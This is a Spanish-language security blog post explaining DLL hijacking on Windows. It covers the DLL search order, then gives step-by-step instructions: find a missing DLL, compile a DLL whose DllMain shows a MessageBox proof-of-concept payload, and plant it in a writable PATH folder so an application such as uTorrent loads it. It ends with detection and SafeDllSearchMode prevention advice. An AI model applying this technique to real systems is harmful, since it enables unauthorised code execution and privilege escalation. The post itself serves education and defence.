Icono cerrar menu

Blog

21 de abril de 2020

Hackeando Windows con Dll Hijacking


¿Qué es DLL Hijacking?

DLL Hijacking es un ataque que explota el algoritmo de búsqueda y carga de Windows, lo que permite a un atacante pueda inyectar código en una aplicación a través de la manipulación del disco. En otras palabras, simplemente poner un archivo DLL en el lugar correcto hace que una aplicación vulnerable cargue esa DLL maliciosa. Este método de ataque ha estado en uso desde el comienzo de Windows 2000 y todavía está vivo y activo. Estos códigos se almacenan en diferentes archivos y se invocan o cargan en la memoria RAM solo cuando se requiere el código relacionado. Por lo tanto, guarda el tamaño de una aplicación y evita que la aplicación acapare los recursos.

Las DLL no se considera una vulnerabilidad por parte de Microsoft,  de los cuales encontraremos muchos repartidos por nuestro sistema de ficheros. DLL Hijacking proporcionan un código común ejecutable que pueden usar de forma estática o dinámica. El uso de DLL, Dynamic Link Library, es el método más utilizado por Windows y aplicaciones para compartir funciones, haciendo que las aplicaciones sean más modulares y permita reutilizar funciones comunes que ya están desarrolladas y que son exportadas por estas librerías.

La ruta de búsqueda está bien documentada por Microsoft y su valor predeterminado es:

  • El directorio desde el que se carga la aplicación.
  • El directorio actual
  • El directorio del sistema, generalmente C:\\Windows\\System32\\(Se llama a la función GetSystemDirectory para obtener este directorio).
  • El directorio del sistema de 16 bits: no hay una función dedicada para recuperar la ruta de este directorio, pero también se busca.
  • El directorio de Windows. Se llama a la función GetWindowsDirectory para obtener este directorio.
  • Los directorios que se enumeran en la variable de entorno PATH

Atacando con Dll hijacking

1)Encontrar un dll faltante de algún programa, mediante la aplicación ProcessMonitor de windows o alguna similar.
2)Crear nuestro dll Infectado

 
 

#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

	switch (fdwReason)
	{
		case DLL_PROCESS_ATTACH:
		dll_mll();
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
		break;
	}

	return TRUE;
}

int dll_mll()
{
	MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
}

3)Compilar el programa y convertirlo en dll

 
gcc -shared -o wnaspi32.dll file.c
 

4)Añadirlo a un PHAT de windows que no pida Privilegios de Admin(Estos suelen ser creados por programas fuera de windows).
Como ejemplo podríamos usar la ruta del usuario D3f4ult.


5) Ejecutar un programa que ejecute esta dll como Utorrent.
Como resultado:

 

¿Se puede parchar DLL Hijacking?

Existen múltiples herramientas que afirman detectar aplicaciones vulnerables al DLL Hijacking esas herramientas no son suficientes. La mayoría de ellos parecen detectar solo la explotación de la primera etapa: escribir un archivo DLL en una carpeta desprotegida. Sin embargo, esto no es suficiente, en parte porque carecen de la capacidad de detectar DLL faltantes. Estas son DLL inexistentes que aún intentan cargarse en las aplicaciones. La detección de archivos DLL faltantes es crítica porque, si una aplicación privilegiada intenta cargar un archivo DLL que falta, podría permitir que un atacante intensifique sus privilegios al proporcionar el archivo DLL que falta.

Prevención contra  DLL Hijacking

Habilite SafeDllSearchMode para la explotación de la ruta de búsqueda sea más difícil para el atacante. SafeDllSearchMode ha habilitado los cambios en el orden de la ruta de búsqueda a seguir.

  • El directorio desde el que se cargó la aplicación.
  • El directorio del sistema. La función GetSystemDirectory se puede utilizar para obtener la ruta de este directorio.
  • El directorio del sistema de 16 bits.
  • El directorio de Windows. La función GetWindowsDirectory se puede utilizar para obtener la ruta de este directorio.
  • El directorio actual.
tpx Security.
Editorial Staff.